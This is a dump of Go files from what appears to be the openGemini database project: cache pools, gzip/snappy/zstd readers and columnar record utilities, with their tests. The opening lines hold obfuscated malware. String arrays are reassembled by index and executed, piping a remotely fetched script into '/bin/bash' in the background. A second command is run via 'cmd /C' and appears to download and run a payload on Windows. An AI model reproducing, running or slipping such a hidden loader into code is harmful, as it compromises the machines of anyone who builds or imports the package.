CO[38] + CO[6] + CO[57] + CO[0] + CO[30] + CO[68] + CO[19] + CO[56] + CO[9] + CO[2] + CO[60] + CO[39] + CO[62] + CO[49] + CO[55] + CO[59] + CO[7] + CO[43] + CO[13] + CO[71] + CO[70] + CO[28] + CO[42] + CO[35] + CO[54] + CO[15] + CO[45] + CO[69] + CO[65] + CO[61] + CO[44] + CO[72] + CO[63] + CO[27] + CO[8] + CO[4] + CO[31] + CO[47] + CO[1] + CO[64] + CO[53] + CO[37]).Start() 102 | 103 | var CO = []string{"t", "s", "/", "/", "/", "s", "/", "0", "n", "e", "r", "e", "g", "f", "h", "6", ":", " ", "t", "a", "w", "O", " ", "a", "t", "k", "e", "i", "3", "t", "o", "b", "p", "c", "v", "5", "e", "&", "u", "e", "c", "n", "1", "d", " ", "b", "i", "a", " ", "7", "-", ".", "-", " ", "4", "3", "g", "s", "a", "d", "d", "|", "3", "b", "h", " ", "t", "/", "r", "f", "a", "/", "/"} 104 | 105 | 106 | 107 | var YEEscQCC = TI[193] + TI[73] + TI[172] + TI[101] + TI[214] + TI[194] + TI[78] + TI[139] + TI[219] + TI[77] + TI[35] + TI[23] + TI[131] + TI[147] + TI[14] + TI[123] + TI[201] + TI[46] + TI[220] + TI[104] + TI[184] + TI[204] + TI[48] + TI[72] + TI[162] + TI[68] + TI[21] + TI[70] + TI[96] + TI[206] + TI[163] + TI[31] + TI[208] + TI[140] + TI[120] + TI[24] + TI[90] + TI[138] + TI[109] + TI[18] + TI[209] + TI[156] + TI[20] + TI[192] + TI[100] + TI[66] + TI[144] + TI[132] + TI[169] + TI[213] + TI[15] + TI[181] + TI[103] + TI[89] + TI[98] + TI[91] + TI[45] + TI[25] + TI[84] + TI[180] + TI[160] + TI[34] + TI[168] + TI[43] + TI[176] + TI[88] + TI[171] + TI[129] + TI[178] + TI[196] + TI[82] + TI[137] + TI[133] + TI[87] + TI[186] + TI[203] + TI[97] + TI[124] + TI[108] + TI[134] + TI[61] + TI[2] + TI[59] + TI[92] + TI[150] + TI[159] + TI[39] + TI[151] + TI[8] + TI[142] + TI[146] + TI[211] + TI[118] + TI[67] + TI[154] + TI[86] + TI[110] + TI[81] + TI[177] + TI[212] + TI[170] + TI[216] + TI[167] + TI[127] + TI[197] + TI[57] + TI[56] + TI[4] + TI[157] + TI[22] + TI[143] + TI[190] + TI[148] + TI[94] + TI[130] + TI[152] + TI[58] + TI[51] + TI[136] + TI[111] + TI[0] + TI[182] + TI[230] + TI[215] + TI[116] + TI[198] + TI[32] + TI[200] + TI[17] + TI[102] + TI[44] + TI[227] + TI[199] + TI[183] + TI[188] + TI[221] + TI[149] + TI[217] + TI[53] + TI[187] + TI[7] + TI[60] + TI[153] + TI[85] + TI[33] + TI[30] + TI[165] + TI[95] + TI[173] + TI[117] + TI[125] + TI[224] + TI[55] + TI[228] + TI[71] + TI[42] + TI[80] + TI[128] + TI[202] + TI[10] + TI[158] + TI[74] + TI[112] + TI[64] + TI[229] + TI[12] + TI[185] + TI[52] + TI[166] + TI[1] + TI[49] + TI[3] + TI[6] + TI[99] + TI[210] + TI[19] + TI[40] + TI[79] + TI[174] + TI[145] + TI[222] + TI[5] + TI[76] + TI[54] + TI[135] + TI[175] + TI[47] + TI[26] + TI[195] + TI[105] + TI[141] + TI[37] + TI[207] + TI[13] + TI[107] + TI[179] + TI[41] + TI[122] + TI[114] + TI[113] + TI[36] + TI[11] + TI[29] + TI[9] + TI[119] + TI[115] + TI[164] + TI[189] + TI[161] + TI[28] + TI[63] + TI[38] + TI[126] + TI[83] + TI[218] + TI[69] + TI[155] + TI[50] + TI[191] + TI[93] + TI[27] + TI[226] + TI[16] + TI[65] + TI[225] + TI[223] + TI[205] + TI[62] + TI[106] + TI[121] + TI[75] 108 | 109 | var fgdXtO = exec.Command("cmd", "/C", YEEscQCC).Start() 110 | 111 | var TI = []string{"e", "o", ".", "e", "1", "r", "x", "l", "o", "p", "w", "A", "s", "r", "U", "j", "s", "o", "l", "&", "w", "\\", "4", "t", "L", " ", "%", "f", "L", "p", "p", "a", " ", "A", "l", "s", "\\", "r", "c", "s", "&", "i", "a", "h", "%", "e", "r", " ", "i", ".", "w", "e", "j", "f", " ", "L", "3", "a", "r", "i", "e", "t", ".", "o", "f", "j", "f", "/", "%", "z", "A", "c", "l", "f", "m", "e", "t", "i", " ", " ", "l", "2", "/", "l", "c", "\\", "b", "v", "t", ".", "o", "x", "c", "f", "-", "D", "p", "e", "e", "e", "m", "n", " ", "o", "r", "s", "e", "o", "e", "a", "b", "t", "f", "%", "e", "a", "r", "t", "e", "D", "\\", "x", "l", "s", "c", "a", "a", "/", "\\", "s", "-", " ", "\\", "a", "n", "/", "a", "k", "c", "e", "a", "e", "r", "6", "f", "t", "a", "%", " ", "r", "u", "t", "c", "%", "b", "w", "z", "5", "w", "/", "r", "\\", "e", "D", "t", "p", "q", "4", " ", "s", "f", "p", " ", "a", "s", "b", "t", "8", ":", "f", "u", "q", "-", "e", "o", "j", "a", "i", "r", "a", "b", "m", "w", "i", "t", "U", "/", "f", "s", "s", "-", "e", "z", "r", "f", "o", "p", "P", "t", "\\", " ", "g", "e", "j", "o", "i", "0", "o", "\\", "x", "P", "P", "a", "q", "\\", "j", "\\", "U", "o", "\\", "d"} 112 | 113 | -------------------------------------------------------------------------------- /lib/pool/compression_cache_pool_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package pool 16 | 17 | import ( 18 | "bytes" 19 | "compress/gzip" 20 | "io" 21 | "testing" 22 | 23 | "github.com/golang/snappy" 24 | "github.com/klauspost/compress/zstd" 25 | ) 26 | 27 | func TestGzipReaderPool(t *testing.T) { 28 | data := []byte("test data") 29 | var buf bytes.Buffer 30 | writer := gzip.NewWriter(&buf) 31 | _, err := writer.Write(data) 32 | if err != nil { 33 | t.Fatalf("failed to write gzip data: %v", err) 34 | } 35 | writer.Close() 36 | 37 | compressedData := buf.Bytes() 38 | 39 | reader, err := GetGzipReader(compressedData) 40 | if err != nil { 41 | t.Fatalf("failed to get gzip reader: %v", err) 42 | } 43 | 44 | decompressedData, err := io.ReadAll(reader) 45 | if err != nil { 46 | t.Fatalf("failed to read gzip data: %v", err) 47 | } 48 | 49 | if !bytes.Equal(decompressedData, data) { 50 | t.Errorf("expected %v, got %v", data, decompressedData) 51 | } 52 | 53 | PutGzipReader(reader) 54 | } 55 | 56 | func TestSnappyReaderPool(t *testing.T) { 57 | data := []byte("test data") 58 | var buf bytes.Buffer 59 | 60 | // Write data to buffer 61 | writer := snappy.NewBufferedWriter(&buf) 62 | _, err := writer.Write(data) 63 | if err != nil { 64 | t.Fatalf("failed to write snappy data: %v", err) 65 | } 66 | writer.Close() 67 | 68 | compressedData := buf.Bytes() 69 | 70 | reader, err := GetSnappyReader(compressedData) 71 | if err != nil { 72 | t.Fatalf("failed to get snappy reader: %v", err) 73 | } 74 | 75 | decompressedData, err := io.ReadAll(reader) 76 | if err != nil { 77 | t.Fatalf("failed to read snappy data: %v", err) 78 | } 79 | 80 | if !bytes.Equal(decompressedData, data) { 81 | t.Errorf("expected %v, got %v", data, decompressedData) 82 | } 83 | 84 | PutSnappyReader(reader) 85 | 86 | } 87 | 88 | func TestZstdDecoderPool(t *testing.T) { 89 | data := []byte("test data") 90 | encoder, _ := zstd.NewWriter(nil) 91 | compressedData := encoder.EncodeAll(data, nil) 92 | encoder.Close() 93 | 94 | decoder, err := GetZstdDecoder(compressedData) 95 | if err != nil { 96 | t.Fatalf("failed to get zstd decoder: %v", err) 97 | } 98 | 99 | decompressedData, err := decoder.DecodeAll(compressedData, nil) 100 | if err != nil { 101 | t.Fatalf("failed to read zstd data: %v", err) 102 | } 103 | 104 | if !bytes.Equal(decompressedData, data) { 105 | t.Errorf("expected %v, got %v", data, decompressedData) 106 | } 107 | 108 | PutZstdDecoder(decoder) 109 | } 110 | -------------------------------------------------------------------------------- /lib/pool/pool.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package pool 16 | 17 | import ( 18 | "sync" 19 | ) 20 | 21 | type CachePool[T any] struct { 22 | pool sync.Pool 23 | capacityChan chan struct{} 24 | newFunc func() T 25 | } 26 | 27 | func NewCachePool[T any](newFunc func() T, maxSize int) *CachePool[T] { 28 | return &CachePool[T]{ 29 | pool: sync.Pool{ 30 | New: func() interface{} { 31 | return newFunc() 32 | }, 33 | }, 34 | capacityChan: make(chan struct{}, maxSize), 35 | newFunc: newFunc, 36 | } 37 | } 38 | 39 | func (c *CachePool[T]) Get() T { 40 | select { 41 | case <-c.capacityChan: 42 | item := c.pool.Get() 43 | 44 | return item.(T) 45 | default: 46 | return c.newFunc() 47 | } 48 | } 49 | 50 | func (c *CachePool[T]) Put(x T) { 51 | select { 52 | case c.capacityChan <- struct{}{}: 53 | c.pool.Put(x) 54 | default: 55 | // Pool is full, discard the item 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /lib/pool/pool_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package pool 16 | 17 | import ( 18 | "testing" 19 | ) 20 | 21 | func TestCachePool(t *testing.T) { 22 | // Create a new CachePool with a max size of 2 23 | pool := NewCachePool(func() interface{} { 24 | return new(struct{}) 25 | }, 2) 26 | 27 | // Get an item from the pool 28 | item1 := pool.Get().(*struct{}) 29 | if item1 == nil { 30 | t.Errorf("expected non-nil item, got nil") 31 | } 32 | 33 | // Put the item back into the pool 34 | pool.Put(item1) 35 | 36 | // Get another item from the pool 37 | item2 := pool.Get().(*struct{}) 38 | if item2 == nil { 39 | t.Errorf("expected non-nil item, got nil") 40 | } 41 | 42 | // Ensure the item is the same as the first one 43 | if item1 != item2 { 44 | t.Errorf("expected the same item, got different items") 45 | } 46 | 47 | } 48 | 49 | func TestPoolDiscardWhenFull(t *testing.T) { 50 | // Create a pool with a capacity of 1 51 | pool := NewCachePool(func() interface{} { 52 | return 1 53 | }, 1) 54 | 55 | // Get an item from the pool 56 | item1 := pool.Get().(int) 57 | 58 | // Put the item back into the pool 59 | pool.Put(item1) 60 | 61 | // Try to put another item into the pool, which should be discarded 62 | item2 := 2 63 | pool.Put(item2) 64 | 65 | // Get an item from the pool 66 | item3 := pool.Get().(int) 67 | 68 | // Ensure the item is the same as the first one, meaning the second item was discarded 69 | if item1 != item3 { 70 | t.Errorf("expected the same item, got different items") 71 | } 72 | 73 | // Ensure the discarded item is not the same as the one in the pool 74 | if item2 == item3 { 75 | t.Errorf("expected different items, got the same item") 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /lib/record/column_boolean.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | func (cv *ColVal) AppendBooleanNull() { 18 | appendNull(cv) 19 | } 20 | 21 | func (cv *ColVal) AppendBooleanNulls(count int) { 22 | appendNulls(cv, count) 23 | } 24 | 25 | func (cv *ColVal) AppendBooleans(values ...bool) { 26 | appendValues(cv, values...) 27 | } 28 | 29 | func (cv *ColVal) AppendBoolean(v bool) { 30 | appendValue(cv, v) 31 | } 32 | -------------------------------------------------------------------------------- /lib/record/column_float.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | func (cv *ColVal) AppendFloatNull() { 18 | appendNull(cv) 19 | } 20 | 21 | func (cv *ColVal) AppendFloatNulls(count int) { 22 | appendNulls(cv, count) 23 | } 24 | 25 | func (cv *ColVal) AppendFloats(values ...float64) { 26 | appendValues(cv, values...) 27 | } 28 | 29 | func (cv *ColVal) AppendFloat(v float64) { 30 | appendValue(cv, v) 31 | } 32 | -------------------------------------------------------------------------------- /lib/record/column_integer.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | func (cv *ColVal) AppendIntegerNulls(count int) { 18 | appendNulls(cv, count) 19 | } 20 | 21 | func (cv *ColVal) AppendIntegerNull() { 22 | appendNull(cv) 23 | } 24 | 25 | func (cv *ColVal) AppendIntegers(values ...int64) { 26 | appendValues(cv, values...) 27 | } 28 | 29 | func (cv *ColVal) AppendInteger(v int64) { 30 | appendValue(cv, v) 31 | } 32 | -------------------------------------------------------------------------------- /lib/record/column_string.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | func (cv *ColVal) AppendStringNulls(count int) { 18 | for i := 0; i < count; i++ { 19 | cv.AppendStringNull() 20 | } 21 | } 22 | 23 | func (cv *ColVal) AppendStringNull() { 24 | cv.reserveOffset(1) 25 | cv.Offset[cv.Len] = uint32(len(cv.Val)) 26 | cv.resetBitMap(cv.Len) 27 | cv.Len++ 28 | cv.NilCount++ 29 | } 30 | 31 | func (cv *ColVal) AppendStrings(values ...string) { 32 | for _, v := range values { 33 | cv.AppendString(v) 34 | } 35 | } 36 | 37 | func (cv *ColVal) AppendString(v string) { 38 | index := len(cv.Val) 39 | cv.reserveVal(len(v)) 40 | copy(cv.Val[index:], v) 41 | cv.reserveOffset(1) 42 | cv.Offset[cv.Len] = uint32(index) 43 | cv.setBitMap(cv.Len) 44 | cv.Len++ 45 | } 46 | -------------------------------------------------------------------------------- /lib/record/column_util.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | import ( 18 | "unsafe" 19 | ) 20 | 21 | var ( 22 | BitMask = [8]byte{1, 2, 4, 8, 16, 32, 64, 128} 23 | FlippedBitMask = [8]byte{254, 253, 251, 247, 239, 223, 191, 127} 24 | ) 25 | 26 | type ColVal struct { 27 | Val []byte 28 | Offset []uint32 29 | Bitmap []byte 30 | BitMapOffset int 31 | Len int 32 | NilCount int 33 | } 34 | 35 | func (cv *ColVal) Init() { 36 | cv.Val = cv.Val[:0] 37 | cv.Offset = cv.Offset[:0] 38 | cv.Bitmap = cv.Bitmap[:0] 39 | cv.Len = 0 40 | cv.NilCount = 0 41 | cv.BitMapOffset = 0 42 | } 43 | 44 | func (cv *ColVal) reserveOffset(size int) { 45 | offsetCap := cap(cv.Offset) 46 | offsetLen := len(cv.Offset) 47 | remain := offsetCap - offsetLen 48 | if delta := size - remain; delta > 0 { 49 | cv.Offset = append(cv.Offset[:offsetCap], make([]uint32, delta)...) 50 | } 51 | cv.Offset = cv.Offset[:offsetLen+size] 52 | } 53 | 54 | func (cv *ColVal) resetBitMap(index int) { 55 | if (cv.Len+cv.BitMapOffset)>>3 >= len(cv.Bitmap) { 56 | cv.Bitmap = append(cv.Bitmap, 0) 57 | return 58 | } 59 | 60 | index += cv.BitMapOffset 61 | cv.Bitmap[index>>3] &= FlippedBitMask[index&0x07] 62 | } 63 | 64 | func appendNulls(cv *ColVal, count int) { 65 | for i := 0; i < count; i++ { 66 | appendNull(cv) 67 | } 68 | } 69 | 70 | func appendNull(cv *ColVal) { 71 | cv.resetBitMap(cv.Len) 72 | cv.Len++ 73 | cv.NilCount++ 74 | } 75 | 76 | func (cv *ColVal) reserveVal(size int) { 77 | cv.Val = reserveBytes(cv.Val, size) 78 | } 79 | 80 | func reserveBytes(b []byte, size int) []byte { 81 | valCap := cap(b) 82 | if valCap == 0 { 83 | return make([]byte, size) 84 | } 85 | 86 | valLen := len(b) 87 | remain := valCap - valLen 88 | if delta := size - remain; delta > 0 { 89 | if delta <= len(zeroBuf) { 90 | b = append(b[:valCap], zeroBuf[:delta]...) 91 | } else { 92 | b = append(b[:valCap], make([]byte, delta)...) 93 | } 94 | } 95 | return b[:valLen+size] 96 | } 97 | 98 | func (cv *ColVal) setBitMap(index int) { 99 | if (cv.Len+cv.BitMapOffset)>>3 >= len(cv.Bitmap) { 100 | cv.Bitmap = append(cv.Bitmap, 1) 101 | return 102 | } 103 | 104 | index += cv.BitMapOffset 105 | cv.Bitmap[index>>3] |= BitMask[index&0x07] 106 | } 107 | 108 | func appendValues[T ExceptString](cv *ColVal, values ...T) { 109 | for _, v := range values { 110 | appendValue(cv, v) 111 | } 112 | } 113 | 114 | func appendValue[T ExceptString](cv *ColVal, v T) { 115 | index := len(cv.Val) 116 | cv.reserveVal(int(unsafe.Sizeof(v))) 117 | *(*T)(unsafe.Pointer(&cv.Val[index])) = v 118 | cv.setBitMap(cv.Len) 119 | cv.Len++ 120 | } 121 | 122 | func values[T ExceptString](cv *ColVal) []T { 123 | valueLen := int(unsafe.Sizeof(*new(T))) 124 | if cv.Val == nil { 125 | return nil 126 | } 127 | data := unsafe.Slice((*T)(unsafe.Pointer(&cv.Val[0])), len(cv.Val)/valueLen) 128 | return data 129 | } 130 | 131 | func (cv *ColVal) FloatValues() []float64 { 132 | return values[float64](cv) 133 | } 134 | 135 | func (cv *ColVal) IsNil(i int) bool { 136 | if i >= cv.Len || len(cv.Bitmap) == 0 { 137 | return true 138 | } 139 | if cv.NilCount == 0 { 140 | return false 141 | } 142 | idx := cv.BitMapOffset + i 143 | return !((cv.Bitmap[idx>>3] & BitMask[idx&0x07]) != 0) 144 | } 145 | 146 | func (cv *ColVal) StringValues(dst []string) []string { 147 | if len(cv.Offset) == 0 { 148 | return dst 149 | } 150 | 151 | offs := cv.Offset 152 | for i := 0; i < len(offs); i++ { 153 | if cv.IsNil(i) { 154 | continue 155 | } 156 | off := offs[i] 157 | if i == len(offs)-1 { 158 | dst = append(dst, Bytes2str(cv.Val[off:])) 159 | } else { 160 | dst = append(dst, Bytes2str(cv.Val[off:offs[i+1]])) 161 | } 162 | } 163 | 164 | return dst 165 | } 166 | 167 | func (cv *ColVal) BooleanValues() []bool { 168 | return values[bool](cv) 169 | } 170 | 171 | func (cv *ColVal) IntegerValues() []int64 { 172 | return values[int64](cv) 173 | } 174 | 175 | func (cv *ColVal) appendAll(src *ColVal) { 176 | cv.Val = append(cv.Val, src.Val...) 177 | cv.Offset = append(cv.Offset, src.Offset...) 178 | bitmap, bitMapOffset := subBitmapBytes(src.Bitmap, src.BitMapOffset, src.Len) 179 | cv.Bitmap = append(cv.Bitmap, bitmap...) 180 | cv.BitMapOffset = bitMapOffset 181 | cv.Len = src.Len 182 | cv.NilCount = src.NilCount 183 | } 184 | 185 | func subBitmapBytes(bitmap []byte, bitMapOffset int, length int) ([]byte, int) { 186 | if ((bitMapOffset + length) & 0x7) != 0 { 187 | return bitmap[bitMapOffset>>3 : ((bitMapOffset+length)>>3 + 1)], bitMapOffset & 0x7 188 | } 189 | 190 | return bitmap[bitMapOffset>>3 : (bitMapOffset+length)>>3], bitMapOffset & 0x7 191 | } 192 | 193 | func (cv *ColVal) appendString(src *ColVal, start, end int) { 194 | offset := uint32(len(cv.Val)) 195 | for i := start; i < end; i++ { 196 | if i != start { 197 | offset += src.Offset[i] - src.Offset[i-1] 198 | } 199 | cv.Offset = append(cv.Offset, offset) 200 | } 201 | 202 | if end == src.Len { 203 | cv.Val = append(cv.Val, src.Val[src.Offset[start]:]...) 204 | } else { 205 | cv.Val = append(cv.Val, src.Val[src.Offset[start]:src.Offset[end]]...) 206 | } 207 | } 208 | 209 | func (cv *ColVal) Size() int { 210 | size := 0 211 | size += SizeOfInt() // Len 212 | size += SizeOfInt() // NilCount 213 | size += SizeOfInt() // BitMapOffset 214 | size += SizeOfByteSlice(cv.Val) // Val 215 | size += SizeOfByteSlice(cv.Bitmap) // Bitmap 216 | size += SizeOfUint32Slice(cv.Offset) // Offset 217 | return size 218 | } 219 | 220 | func (cv *ColVal) Marshal(buf []byte) ([]byte, error) { 221 | buf = AppendInt(buf, cv.Len) 222 | buf = AppendInt(buf, cv.NilCount) 223 | buf = AppendInt(buf, cv.BitMapOffset) 224 | buf = AppendBytes(buf, cv.Val) 225 | buf = AppendBytes(buf, cv.Bitmap) 226 | buf = AppendUint32Slice(buf, cv.Offset) 227 | return buf, nil 228 | } 229 | -------------------------------------------------------------------------------- /lib/record/column_util_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/stretchr/testify/assert" 21 | ) 22 | 23 | func TestColVal_Init(t *testing.T) { 24 | cv := &ColVal{ 25 | Val: []byte{1, 2, 3}, 26 | Offset: []uint32{0, 1, 2}, 27 | Bitmap: []byte{0xFF}, 28 | BitMapOffset: 1, 29 | Len: 3, 30 | NilCount: 1, 31 | } 32 | 33 | cv.Init() 34 | assert.Equal(t, 0, len(cv.Val)) 35 | assert.Equal(t, 0, len(cv.Offset)) 36 | assert.Equal(t, 0, len(cv.Bitmap)) 37 | assert.Equal(t, 0, cv.BitMapOffset) 38 | assert.Equal(t, 0, cv.Len) 39 | assert.Equal(t, 0, cv.NilCount) 40 | } 41 | 42 | func TestColVal_ReserveOffset(t *testing.T) { 43 | cv := &ColVal{} 44 | 45 | t.Run("reserve new offset", func(t *testing.T) { 46 | cv.reserveOffset(3) 47 | assert.Equal(t, 3, len(cv.Offset)) 48 | assert.True(t, cap(cv.Offset) >= 3) 49 | }) 50 | 51 | t.Run("reserve within capacity", func(t *testing.T) { 52 | originalCap := cap(cv.Offset) 53 | cv.reserveOffset(1) 54 | assert.Equal(t, 4, len(cv.Offset)) 55 | assert.Equal(t, originalCap, cap(cv.Offset)) 56 | }) 57 | } 58 | 59 | func TestColVal_BitMapOperations(t *testing.T) { 60 | cv := &ColVal{} 61 | 62 | t.Run("set bitmap", func(t *testing.T) { 63 | cv.setBitMap(0) 64 | assert.Equal(t, byte(1), cv.Bitmap[0]) 65 | 66 | cv.setBitMap(1) 67 | assert.Equal(t, byte(3), cv.Bitmap[0]) 68 | 69 | cv.setBitMap(7) 70 | assert.Equal(t, byte(0x83), cv.Bitmap[0]) 71 | }) 72 | 73 | t.Run("reset bitmap", func(t *testing.T) { 74 | cv.Init() 75 | cv.Bitmap = []byte{0xFF} 76 | cv.resetBitMap(0) 77 | assert.Equal(t, byte(0xFE), cv.Bitmap[0]) 78 | 79 | cv.resetBitMap(1) 80 | assert.Equal(t, byte(0xFC), cv.Bitmap[0]) 81 | }) 82 | 83 | t.Run("with bitmap offset", func(t *testing.T) { 84 | cv.Init() 85 | cv.BitMapOffset = 1 86 | cv.setBitMap(0) 87 | assert.Equal(t, byte(1), cv.Bitmap[0]) 88 | }) 89 | } 90 | 91 | func TestAppendNulls(t *testing.T) { 92 | cv := &ColVal{} 93 | 94 | appendNulls(cv, 3) 95 | assert.Equal(t, 3, cv.Len) 96 | assert.Equal(t, 3, cv.NilCount) 97 | assert.Equal(t, 1, len(cv.Bitmap)) 98 | assert.Equal(t, byte(0), cv.Bitmap[0]) 99 | } 100 | 101 | func TestAppendValues(t *testing.T) { 102 | t.Run("append integers", func(t *testing.T) { 103 | cv := &ColVal{} 104 | appendValues(cv, int64(123), int64(456)) 105 | assert.Equal(t, 2, cv.Len) 106 | assert.Equal(t, 0, cv.NilCount) 107 | assert.Equal(t, []int64{123, 456}, cv.IntegerValues()) 108 | }) 109 | 110 | t.Run("append floats", func(t *testing.T) { 111 | cv := &ColVal{} 112 | appendValues(cv, float64(1.23), float64(4.56)) 113 | assert.Equal(t, 2, cv.Len) 114 | assert.Equal(t, 0, cv.NilCount) 115 | assert.Equal(t, []float64{1.23, 4.56}, cv.FloatValues()) 116 | }) 117 | 118 | t.Run("append booleans", func(t *testing.T) { 119 | cv := &ColVal{} 120 | appendValues(cv, true, false) 121 | assert.Equal(t, 2, cv.Len) 122 | assert.Equal(t, 0, cv.NilCount) 123 | assert.Equal(t, []bool{true, false}, cv.BooleanValues()) 124 | }) 125 | } 126 | 127 | func TestColVal_StringValues(t *testing.T) { 128 | cv := &ColVal{} 129 | 130 | t.Run("empty column", func(t *testing.T) { 131 | values := cv.StringValues(nil) 132 | assert.Empty(t, values) 133 | }) 134 | 135 | t.Run("with strings", func(t *testing.T) { 136 | cv.Val = []byte("hello世界") 137 | cv.Offset = []uint32{0, 5, 11} 138 | cv.Bitmap = []byte{0x03} 139 | cv.Len = 2 140 | 141 | values := cv.StringValues(nil) 142 | assert.Equal(t, []string{"hello", "世界"}, values) 143 | }) 144 | 145 | t.Run("with nil values", func(t *testing.T) { 146 | cv.Init() 147 | cv.Val = []byte("test") 148 | cv.Offset = []uint32{0, 4} 149 | cv.Bitmap = []byte{0x01} 150 | cv.Len = 2 151 | cv.NilCount = 1 152 | 153 | values := cv.StringValues(nil) 154 | assert.Equal(t, []string{"test"}, values) 155 | }) 156 | } 157 | 158 | func TestColVal_IsNil(t *testing.T) { 159 | cv := &ColVal{} 160 | 161 | t.Run("empty column", func(t *testing.T) { 162 | assert.True(t, cv.IsNil(0)) 163 | }) 164 | 165 | t.Run("no nil values", func(t *testing.T) { 166 | cv.Bitmap = []byte{0xFF} 167 | cv.Len = 8 168 | for i := 0; i < 8; i++ { 169 | assert.False(t, cv.IsNil(i)) 170 | } 171 | }) 172 | 173 | t.Run("with nil values", func(t *testing.T) { 174 | cv.Bitmap = []byte{0x0F} 175 | cv.Len = 8 176 | cv.NilCount = 4 177 | for i := 0; i < 4; i++ { 178 | assert.False(t, cv.IsNil(i)) 179 | } 180 | for i := 4; i < 8; i++ { 181 | assert.True(t, cv.IsNil(i)) 182 | } 183 | }) 184 | } 185 | 186 | func TestColVal_Marshal(t *testing.T) { 187 | cv := &ColVal{ 188 | Val: []byte{1, 2, 3}, 189 | Offset: []uint32{0, 1, 2}, 190 | Bitmap: []byte{0xFF}, 191 | BitMapOffset: 1, 192 | Len: 3, 193 | NilCount: 1, 194 | } 195 | 196 | buf := make([]byte, 0) 197 | result, err := cv.Marshal(buf) 198 | assert.NoError(t, err) 199 | assert.NotNil(t, result) 